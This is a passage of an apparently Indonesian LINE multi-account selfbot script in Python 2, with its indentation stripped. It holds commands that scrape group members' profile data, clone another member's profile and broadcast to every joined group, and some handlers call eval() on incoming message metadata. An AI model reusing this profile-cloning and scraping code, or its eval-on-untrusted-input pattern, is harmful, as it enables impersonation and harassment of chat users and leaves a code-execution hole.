profile = kr1.getProfile()
profile.statusMessage = string
kr1.updateProfile(profile)
kr1.sendText(msg.to,"Changed " + string)
if len(string.decode('utf-8')) <= 10000000000:
profile = kr2.getProfile()
profile.statusMessage = string
kr2.updateProfile(profile)
kr2.sendText(msg.to,"Changed " + string)
if len(string.decode('utf-8')) <= 10000000000:
profile = kr3.getProfile()
profile.statusMessage = string
kr3.updateProfile(profile)
kr3.sendText(msg.to,"Changed " + string)
if len(string.decode('utf-8')) <= 10000000000:
profile = kr4.getProfile()
profile.statusMessage = string
kr4.updateProfile(profile)
kr4.sendText(msg.to,"Changed " + string)
if len(string.decode('utf-8')) <= 10000000000:
profile = kr5.getProfile()
profile.statusMessage = string
kr5.updateProfile(profile)
kr5.sendText(msg.to,"Changed " + string)
elif msg.text in ["Myname"]:
h = kr1.getContact(mid)
kr1.sendText(msg.to,"═══[DisplayName]═══\n" + h.displayName)
elif msg.text in ["Mybot"]:
h = kr1.getContact(mid)
h = kr2.getContact(mid2)
h = kr3.getContact(mid3)
h = kr4.getContact(mid4)
h = kr5.getContact(mid5)
kr1.sendText(msg.to,"═══[DisplayName]═══\n" + h.displayName)
kr2.sendText(msg.to,"═══[DisplayName]═══\n" + h.displayName)
kr3.sendText(msg.to,"═══[DisplayName]═══\n" + h.displayName)
kr4.sendText(msg.to,"═══[DisplayName]═══\n" + h.displayName)
kr5.sendText(msg.to,"═══[DisplayName]═══\n" + h.displayName)
elif msg.text in ["Mybio"]:
h = kr1.getContact(mid)
kr1.sendText(msg.to,"═══[StatusMessage]═══\n" + h.statusMessage)
elif msg.text in ["Mypict"]:
h = kr1.getContact(mid)
kr1.sendImageWithURL(msg.to,"http://dl.profile.line-cdn.net/" + h.pictureStatus)
elif msg.text in ["Myvid"]:
h = kr1.getContact(mid)
kr1.sendVideoWithURL(msg.to,"http://dl.profile.line-cdn.net/" + h.pictureStatus)
elif msg.text in ["Urlpict"]:
h = kr1.getContact(mid)
kr1.sendText(msg.to,"http://dl.profile.line-cdn.net/" + h.pictureStatus)
elif msg.text in ["Mycover"]:
h = kr1.getContact(mid)
cu = kr1.channel.getCover(mid)
path = str(cu)
kr1.sendImageWithURL(msg.to, path)
elif msg.text in ["Urlcover"]:
h = kr1.getContact(mid)
cu = kr1.channel.getCover(mid)
path = str(cu)
kr1.sendText(msg.to, path)
elif "Getmid @" in msg.text:
if msg.from_ in admin:
_name = msg.text.replace("Getmid @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
for g in gs.members:
if _nametarget == g.displayName:
kr1.sendText(msg.to, g.mid)
else:
pass
elif "Getinfo" in msg.text:
if msg.from_ in admin:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
contact = kr1.getContact(key1)
cu = kr1.channel.getCover(key1)
try:
kr1.sendText(msg.to,"Nama :\n" + contact.displayName + "\n\nMid :\n" + contact.mid + "\n\nBio :\n" + contact.statusMessage + "\n\nProfile Picture :\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n\nHeader :\n" + str(cu))
except:
kr1.sendText(msg.to,"Nama :\n" + contact.displayName + "\n\nMid :\n" + contact.mid + "\n\nBio :\n" + contact.statusMessage + "\n\nProfile Picture :\n" + str(cu))
elif "Getbio" in msg.text:
if msg.from_ in admin:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
contact = kr1.getContact(key1)
cu = kr1.channel.getCover(key1)
try:
kr1.sendText(msg.to, "===[StatusMessage]===\n" + contact.statusMessage)
except:
kr1.sendText(msg.to, "===[StatusMessage]===\n" + contact.statusMessage)
elif "Getname" in msg.text:
if msg.from_ in admin:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
contact = kr1.getContact(key1)
cu = kr1.channel.getCover(key1)
try:
kr1.sendText(msg.to, "===[DisplayName]===\n" + contact.displayName)
except:
kr1.sendText(msg.to, "===[DisplayName]===\n" + contact.displayName)
elif "Getprofile" in msg.text:
if msg.from_ in admin:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
contact = kr1.getContact(key1)
cu = kr1.channel.getCover(key1)
path = str(cu)
image = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
try:
kr1.sendText(msg.to,"Nama :\n" + contact.displayName + "\n\nBio :\n" + contact.statusMessage)
kr1.sendText(msg.to,"Profile Picture " + contact.displayName)
kr1.sendImageWithURL(msg.to,image)
kr1.sendText(msg.to,"Cover " + contact.displayName)
kr1.sendImageWithURL(msg.to,path)
except:
pass
elif "Getcontact" in msg.text:
if msg.from_ in admin:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
mmid = kr1.getContact(key1)
msg.contentType = 13
msg.contentMetadata = {"mid": key1}
kr1.sendMessage(msg)
elif "Getpict @" in msg.text:
if msg.from_ in admin:
print "[Command]dp executing"
_name = msg.text.replace("Getpict @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
kr1.sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
contact = kr1.getContact(target)
path = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
kr1.sendImageWithURL(msg.to, path)
except Exception as e:
raise e
print "[Command]dp executed"
elif "Getvid @" in msg.text:
if msg.from_ in admin:
print "[Command]dp executing"
_name = msg.text.replace("Getvid @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
kr1.sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
contact = kr1.getContact(target)
path = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
kr1.sendVideoWithURL(msg.to, path)
except Exception as e:
raise e
print "[Command]dp executed"
elif "Picturl @" in msg.text:
if msg.from_ in admin:
print "[Command]dp executing"
_name = msg.text.replace("Picturl @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
kr1.sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
contact = kr1.getContact(target)
path = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
kr1.sendText(msg.to, path)
except Exception as e:
raise e
print "[Command]dp executed"
elif "Getcover @" in msg.text:
if msg.from_ in admin:
print "[Command]cover executing"
_name = msg.text.replace("Getcover @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
kr1.sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
contact = kr1.getContact(target)
cu = kr1.channel.getCover(target)
path = str(cu)
kr1.sendImageWithURL(msg.to, path)
except Exception as e:
raise e
print "[Command]cover executed"
elif "Coverurl @" in msg.text:
if msg.from_ in admin:
print "[Command]cover executing"
_name = msg.text.replace("Coverurl @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
kr1.sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
contact = kr1.getContact(target)
cu = kr1.channel.getCover(target)
path = str(cu)
kr1.sendText(msg.to, path)
except Exception as e:
raise e
print "[Command]cover executed"
elif "Getgrup image" in msg.text:
if msg.from_ in admin:
group = kr1.getGroup(msg.to)
path = "http://dl.profile.line-cdn.net/" + group.pictureStatus
kr1.sendImageWithURL(msg.to,path)
elif "Urlgrup image" in msg.text:
if msg.from_ in admin:
group = kr1.getGroup(msg.to)
path = "http://dl.profile.line-cdn.net/" + group.pictureStatus
kr1.sendText(msg.to,path)
elif "Mycopy @" in msg.text:
if msg.from_ in admin:
print "[COPY] Ok"
_name = msg.text.replace("Mycopy @","")
_nametarget = _name.rstrip(' ')
gs = kr1.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
kr1.sendText(msg.to, "Not Found...")
else:
for target in targets:
try:
kr1.CloneContactProfile(target)
kr1.sendText(msg.to, "Copied.")
except Exception as e:
print e
elif msg.text in ["Mybackup","mybackup"]:
if msg.from_ in admin:
try:
kr1.updateDisplayPicture(backup.pictureStatus)
kr1.updateProfile(backup)
kr1.sendText(msg.to, "Refreshed.")
except Exception as e:
kr1.sendText(msg.to, str(e))
#==============================================================================#
elif "Testext: " in msg.text:
if msg.from_ in admin:
txt = msg.text.replace("Testext: ", "")
kr1.kedapkedip(msg.to,txt)
print "[Command] Kedapkedip"
elif "Translate-id " in msg.text:
isi = msg.text.replace("Tr-id ","")
translator = Translator()
hasil = translator.translate(isi, dest='id')
A = hasil.text
A = A.encode('utf-8')
kr1.sendText(msg.to, A)
elif "Translate-en " in msg.text:
isi = msg.text.replace("Tr-en ","")
translator = Translator()
hasil = translator.translate(isi, dest='en')
A = hasil.text
A = A.encode('utf-8')
kr1.sendText(msg.to, A)
elif "Translate-ar" in msg.text:
isi = msg.text.replace("Tr-ar ","")
translator = Translator()
hasil = translator.translate(isi, dest='ar')
A = hasil.text
A = A.encode('utf-8')
kr1.sendText(msg.to, A)
elif "Translate-jp" in msg.text:
isi = msg.text.replace("Tr-jp ","")
translator = Translator()
hasil = translator.translate(isi, dest='ja')
A = hasil.text
A = A.encode('utf-8')
kr1.sendText(msg.to, A)
elif "Translate-ko" in msg.text:
isi = msg.text.replace("Tr-ko ","")
translator = Translator()
hasil = translator.translate(isi, dest='ko')
A = hasil.text
A = A.encode('utf-8')
kr1.sendText(msg.to, A)
elif "Id@en" in msg.text:
bahasa_awal = 'id'
bahasa_tujuan = 'en'
kata = msg.text.replace("Id@en ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
kr1.sendText(msg.to,"**FROM ID**\n" + "" + kata + "\n**TO ENGLISH**\n" + "" + result + "\n**SUKSES**")
elif "En@id" in msg.text:
bahasa_awal = 'en'
bahasa_tujuan = 'id'
kata = msg.text.replace("En@id ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
kr1.sendText(msg.to,"**FROM EN**\n" + "" + kata + "\n**TO ID**\n" + "" + result + "\n**SUKSES**")
elif "Id@jp" in msg.text:
bahasa_awal = 'id'
bahasa_tujuan = 'ja'
kata = msg.text.replace("Id@jp ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
kr1.sendText(msg.to,"**FROM ID**\n" + "" + kata + "\n**TO JP**\n" + "" + result + "\n**SUKSES**")
elif "Jp@id" in msg.text:
bahasa_awal = 'ja'
bahasa_tujuan = 'id'
kata = msg.text.replace("Jp@id ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
kr1.sendText(msg.to,"----FROM JP----\n" + "" + kata + "\n----TO ID----\n" + "" + result + "\n------SUKSES-----")
elif "Id@th" in msg.text:
bahasa_awal = 'id'
bahasa_tujuan = 'th'
kata = msg.text.replace("Id@th ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
kr1.sendText(msg.to,"----FROM ID----\n" + "" + kata + "\n----TO TH----\n" + "" + result + "\n------SUKSES-----")
elif "Th@id" in msg.text:
bahasa_awal = 'th'
bahasa_tujuan = 'id'
kata = msg.text.replace("Th@id ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
kr1.sendText(msg.to,"----FROM TH----\n" + "" + kata + "\n----TO ID----\n" + "" + result + "\n------SUKSES-----")
elif "Id@jp" in msg.text:
bahasa_awal = 'id'
bahasa_tujuan = 'ja'
kata = msg.text.replace("Id@jp ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
kr1.sendText(msg.to,"----FROM ID----\n" + "" + kata + "\n----TO JP----\n" + "" + result + "\n------SUKSES-----")
elif "Id@ar" in msg.text:
bahasa_awal = 'id'
bahasa_tujuan = 'ar'
kata = msg.text.replace("Id@ar ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
kr1.sendText(msg.to,"----FROM ID----\n" + "" + kata + "\n----TO AR----\n" + "" + result + "\n------SUKSES-----")
elif "Ar@id" in msg.text:
bahasa_awal = 'ar'
bahasa_tujuan = 'id'
kata = msg.text.replace("Ar@id ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
kr1.sendText(msg.to,"----FROM AR----\n" + "" + kata + "\n----TO ID----\n" + "" + result + "\n------SUKSES-----")
elif "Id@ko" in msg.text:
bahasa_awal = 'id'
bahasa_tujuan = 'ko'
kata = msg.text.replace("Id@ko ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
kr1.sendText(msg.to,"----FROM ID----\n" + "" + kata + "\n----TO KO----\n" + "" + result + "\n------SUKSES-----")
elif "Ko@id" in msg.text:
bahasa_awal = 'ko'
bahasa_tujuan = 'id'
kata = msg.text.replace("Ko@id ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
kr1.sendText(msg.to,"----FROM KO----\n" + "" + kata + "\n----TO ID----\n" + "" + result + "\n------SUKSES-----")
elif msg.text.lower() == 'welcome':
ginfo = kr1.getGroup(msg.to)
kr1.sendText(msg.to,"Selamat Datang Di Grup " + str(ginfo.name))
jawaban1 = ("Selamat Datang Di Grup " + str(ginfo.name))
kr1.sendText(msg.to,"Owner Grup " + str(ginfo.name) + " :\n" + ginfo.creator.displayName )
tts = gTTS(text=jawaban1, lang='id')
tts.save('tts.mp3')
kr1.sendAudio(msg.to,'tts.mp3')
elif "Say-id " in msg.text:
say = msg.text.replace("Say-id ","")
lang = 'id'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
kr1.sendAudio(msg.to,"hasil.mp3")
elif "Say-en " in msg.text:
say = msg.text.replace("Say-en ","")
lang = 'en'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
kr1.sendAudio(msg.to,"hasil.mp3")
elif "Say-jp " in msg.text:
say = msg.text.replace("Say-jp ","")
lang = 'ja'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
kr1.sendAudio(msg.to,"hasil.mp3")
elif "Say-ar " in msg.text:
say = msg.text.replace("Say-ar ","")
lang = 'ar'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
kr1.sendAudio(msg.to,"hasil.mp3")
elif "Say-ko " in msg.text:
say = msg.text.replace("Say-ko ","")
lang = 'ko'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
kr1.sendAudio(msg.to,"hasil.mp3")
elif "Kapan " in msg.text:
tanya = msg.text.replace("Kapan ","")
jawab = ("kapan kapan","besok","satu abad lagi","Hari ini","Tahun depan","Minggu depan","Bulan depan","Sebentar lagi")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='id')
tts.save('tts.mp3')
kr1.sendAudio(msg.to,'tts.mp3')
kr1.sendText(msg.to,jawaban)
kr2.sendText(msg.to,jawaban)
kr2.sendText(msg.to,jawaban)
elif "Apakah " in msg.text:
tanya = msg.text.replace("Apakah ","")
jawab = ("Ya","Tidak","Mungkin","Bisa jadi")
jawaban = random.choice(jawab)
tts = gTTS(text=jawaban, lang='id')
tts.save('tts.mp3')
kr1.sendAudio(msg.to,'tts.mp3')
kr1.sendText(msg.to,jawaban)
kr2.sendText(msg.to,jawaban)
kr2.sendText(msg.to,jawaban)
elif "Nah" in msg.text:
kr1.sendText(msg.to,'Kan')
kr1.sendText(msg.to,'Kan')
kr1.sendText(msg.to,'Kan')
elif "Absen" in msg.text:
if msg.from_ in admin:
kr1.sendText(msg.to,"👉★★★√")
kr2.sendText(msg.to,"👉★★★★√")
kr3.sendText(msg.to,"👉★★★★★√")
kr4.sendText(msg.to,"👉★★★★★★√")
kr5.sendText(msg.to,"👉★★★★★★★√")
kr1.sendText(msg.to,"👉Semua Hadir Boss...!!!\n\n[✰ tɛǟʍ ċʏɮɛʀ-ǟʀʍʏ ɮօt ✰]")
elif "Bcast " in msg.text:
if msg.from_ in owner:
bc = msg.text.replace("Bcast ","")
gid = kr1.getGroupIdsJoined()
for i in gid:
kr1.sendText(i,"●▬▬▬▬ஜ۩[BROADCAST]۩ஜ▬▬▬▬●\n\n"+bc+"\n\n#BROADCAST!!")
elif 'Youtube ' in msg.text:
if msg.from_ in admin:
try:
textToSearch = (msg.text).replace('Youtube ', "").strip()
query = urllib.quote(textToSearch)
url = "https://www.youtube.com/results?search_query=" + query
response = urllib2.urlopen(url)
html = response.read()
soup = BeautifulSoup(html, "html.parser")
results = soup.find(attrs={'class': 'yt-uix-tile-link'})
ght = ('https://www.youtube.com' + results['href'])
kr1.sendVideoWithURL(msg.to, ght)
except:
kr1.sendText(msg.to, "Could not find it")
elif "Yt " in msg.text:
if msg.from_ in admin:
query = msg.text.replace("Yt ","")
with requests.session() as s:
s.headers['user-agent'] = 'Mozilla/5.0'
url = 'http://www.youtube.com/results'
params = {'search_query': query}
r = s.get(url, params=params)
soup = BeautifulSoup(r.content, 'html5lib')
hasil = ""
for a in soup.select('.yt-lockup-title > a[title]'):
if '&list=' not in a['href']:
hasil += ''.join((a['title'],'\nUrl : http://www.youtube.com' + a['href'],'\n\n'))
kr1.sendText(msg.to,hasil)
print '[Command] Youtube Search'
elif "Lirik " in msg.text:
if msg.from_ in admin:
try:
songname = msg.text.lower().replace("Lirik ","")
params = {'songname': songname}
r = requests.get('http://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params))
data = r.text
data = json.loads(data)
for song in data:
hasil = 'Lyric Lagu ('
hasil += song[0]
hasil += ')\n\n'
hasil += song[5]
kr1.sendText(msg.to, hasil)
except Exception as wak:
kr1.sendText(msg.to, str(wak))
elif "Wikipedia " in msg.text:
if msg.from_ in admin:
try:
wiki = msg.text.lower().replace("Wikipedia ","")
wikipedia.set_lang("id")
pesan="Title ("
pesan+=wikipedia.page(wiki).title
pesan+=")\n\n"
pesan+=wikipedia.summary(wiki, sentences=1)
pesan+="\n"
pesan+=wikipedia.page(wiki).url
kr1.sendText(msg.to, pesan)
except:
try:
pesan="Over Text Limit! Please Click link\n"
pesan+=wikipedia.page(wiki).url
kr1.sendText(msg.to, pesan)
except Exception as e:
kr1.sendText(msg.to, str(e))
elif "Music " in msg.text:
if msg.from_ in admin:
try:
songname = msg.text.lower().replace("Music ","")
params = {'songname': songname}
r = requests.get('http://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params))
data = r.text
data = json.loads(data)
for song in data:
hasil = 'This is Your Music\n'
hasil += 'Judul : ' + song[0]
hasil += '\nDurasi : ' + song[1]
hasil += '\nLink Download : ' + song[4]
kr1.sendText(msg.to, hasil)
kr1.sendText(msg.to, "Please Wait for audio...")
kr1.sendAudioWithURL(msg.to, song[4])
except Exception as njer:
kr1.sendText(msg.to, str(njer))
elif "Image " in msg.text:
if msg.from_ in admin:
search = msg.text.replace("Image ","")
url = 'https://www.google.com/search?espv=2&biw=1366&bih=667&tbm=isch&oq=kuc&aqs=mobile-gws-lite.0.0l5&q=' + search
raw_html = (download_page(url))
items = []
items = items + (_images_get_all_items(raw_html))
path = random.choice(items)
print path
try:
kr1.sendImageWithURL(msg.to,path)
except:
pass
elif "Instagram " in msg.text:
if msg.from_ in admin:
try:
instagram = msg.text.replace("Instagram ","")
response = requests.get("https://www.instagram.com/"+instagram+"?__a=1")
data = response.json()
namaIG = str(data['user']['full_name'])
bioIG = str(data['user']['biography'])
mediaIG = str(data['user']['media']['count'])
verifIG = str(data['user']['is_verified'])
usernameIG = str(data['user']['username'])
followerIG = str(data['user']['followed_by']['count'])
profileIG = data['user']['profile_pic_url_hd']
privateIG = str(data['user']['is_private'])
followIG = str(data['user']['follows']['count'])
link = "Link: " + "https://www.instagram.com/" + instagram
text = "Name : "+namaIG+"\nUsername : "+usernameIG+"\nBiography : "+bioIG+"\nFollower : "+followerIG+"\nFollowing : "+followIG+"\nPost : "+mediaIG+"\nVerified : "+verifIG+"\nPrivate : "+privateIG+"" "\n" + link
kr1.sendImageWithURL(msg.to, profileIG)
kr1.sendText(msg.to, str(text))
except Exception as e:
kr1.sendText(msg.to, str(e))
elif "Kelahiran " in msg.text:
if msg.from_ in admin:
tanggal = msg.text.replace("Kelahiran ","")
r=requests.get('https://script.google.com/macros/exec?service=AKfycbw7gKzP-WYV2F5mc9RaR7yE3Ve1yN91Tjs91hp_jHSE02dSv9w&nama=ervan&tanggal='+tanggal)
data=r.text
data=json.loads(data)
lahir = data["data"]["lahir"]
usia = data["data"]["usia"]
ultah = data["data"]["ultah"]
zodiak = data["data"]["zodiak"]
kr1.sendText(msg.to,"============ I N F O R M A S I ============\n"+"Date Of Birth : "+lahir+"\nAge : "+usia+"\nUltah : "+ultah+"\nZodiak : "+zodiak+"\n============ I N F O R M A S I ============")
elif msg.text in ["Kalender","Waktu"]:
timeNow = datetime.now()
timeHours = datetime.strftime(timeNow,"(%H:%M)")
day = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday","Friday", "Saturday"]
hari = ["Minggu", "Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu"]
bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"]
inihari = datetime.today()
hr = inihari.strftime('%A')
bln = inihari.strftime('%m')
for i in range(len(day)):
if hr == day[i]: hasil = hari[i]
for k in range(0, len(bulan)):
if bln == str(k): bln = bulan[k-1]
rst = hasil + ", " + inihari.strftime('%d') + " - " + bln + " - " + inihari.strftime('%Y') + "\nJam : [ " + inihari.strftime('%H:%M:%S') + " ]"
kr1.sendText(msg.to, rst)
#==============================================================================#
elif msg.text.lower() == 'ifconfig':
if msg.from_ in admin:
botKernel = subprocess.Popen(["ifconfig"], stdout=subprocess.PIPE).communicate()[0]
kr1.sendText(msg.to, botKernel + "\n\n===SERVER INFO NetStat===")
elif msg.text.lower() == 'system':
if msg.from_ in admin:
botKernel = subprocess.Popen(["df","-h"], stdout=subprocess.PIPE).communicate()[0]
kr1.sendText(msg.to, botKernel + "\n\n===SERVER INFO SYSTEM===")
elif msg.text.lower() == 'kernel':
if msg.from_ in admin:
botKernel = subprocess.Popen(["uname","-srvmpio"], stdout=subprocess.PIPE).communicate()[0]
kr1.sendText(msg.to, botKernel + "\n\n===SERVER INFO KERNEL===")
elif msg.text.lower() == 'cpu':
if msg.from_ in admin:
botKernel = subprocess.Popen(["cat","/proc/cpuinfo"], stdout=subprocess.PIPE).communicate()[0]
kr1.sendText(msg.to, botKernel + "\n\n===SERVER INFO CPU===")
elif "Restart" in msg.text:
if msg.from_ in owner:
print "[Command]Restart"
try:
kr1.sendText(msg.to,"Restarting...")
kr1.sendText(msg.to,"Restart Success")
restart_program()
except:
kr1.sendText(msg.to,"Please wait")
restart_program()
pass
elif "Turn off" in msg.text:
if msg.from_ in owner:
try:
import sys
sys.exit()
except:
pass
elif msg.text.lower() == 'runtime':
if msg.from_ in admin:
eltime = time.time() - mulai
van = "Bot has been active "+waktu(eltime)
kr1.sendText(msg.to,van)
elif msg.text in ["Bot kemari"]: # Keluar Dari Semua Group Yang Di dalem nya ada bot(Kalo Bot Kalian Nyangkut di Group lain :D)
if msg.from_ in owner:
gid = kr1.getGroupIdsJoined()
gid = kr2.getGroupIdsJoined()
gid = kr3.getGroupIdsJoined()
gid = kr4.getGroupIdsJoined()
gid = kr5.getGroupIdsJoined()
for i in gid:
kr1.leaveGroup(i)
kr2.leaveGroup(i)
kr3.leaveGroup(i)
kr4.leaveGroup(i)
kr5.leaveGroup(i)
if wait["lang"] == "JP":
kr1.sendText(msg.to,"Bye~Bye " + str(ginfo.name) + "\n\nBots Dipaksa Keluar oleh Owner Bots...!!!\nMakasih...!!!")
else:
kr1.sendText(msg.to,"He declined all invitations")
elif msg.text in ["cab","Cab"]:
if msg.from_ in admin:
url = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26168676_131451404314083_3952554270011807487_n.jpg?oh=6e90aa78daaf5e06b1078bbf15d5aa0f&oe=5AB9882D"
kr1.sendImageWithURL(msg.to, url)
elif msg.text in ["cab1","Cab1"]:
if msg.from_ in admin:
url = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26165506_131451400980750_8433498092579272217_n.jpg?oh=c85beaa35a6f5babd638edeaac9bccaa&oe=5AF760B2"
kr1.sendImageWithURL(msg.to, url)
elif msg.text in ["cab2","Cab2"]:
if msg.from_ in admin:
url = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26168227_131451417647415_680587542176648285_n.jpg?oh=e714a97fec8d8c1e178ab6c0a3ca39cf&oe=5AC96AD3"
kr1.sendImageWithURL(msg.to, url)
elif msg.text in ["cab3","Cab3"]:
if msg.from_ in admin:
url = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26195387_131462840979606_8781956575640573461_n.jpg?oh=27ba5e875917c20df7dd8916bdd64847&oe=5ABB27F4"
kr1.sendImageWithURL(msg.to, url)
elif msg.text in ["cab4","Cab4"]:
if msg.from_ in admin:
url = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26111928_131462844312939_2544207656543605714_n.jpg?oh=0fac796564e963d8b573826263bbc6c7&oe=5AFA67A8"
kr1.sendImageWithURL(msg.to, url)
elif msg.text in ["cab5","Cab5"]:
if msg.from_ in admin:
url = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26219732_131462837646273_1213898565647052451_n.jpg?oh=c5a8bcce115cdab488bde1b8e981e5dd&oe=5AC3A96E"
kr1.sendImageWithURL(msg.to, url)
elif msg.text in ["cab6","Cab6"]:
if msg.from_ in admin:
url = "https://scontent.fcgk2-1.fna.fbcdn.net/v/t1.0-9/26167549_131462897646267_3496884138024907307_n.jpg?oh=edc63b98f790e9bf2cbb57dce7df9b25&oe=5AB0DDF6"
kr1.sendImageWithURL(msg.to, url)
elif msg.text in ["cab7","Cab7"]:
if msg.from_ in admin:
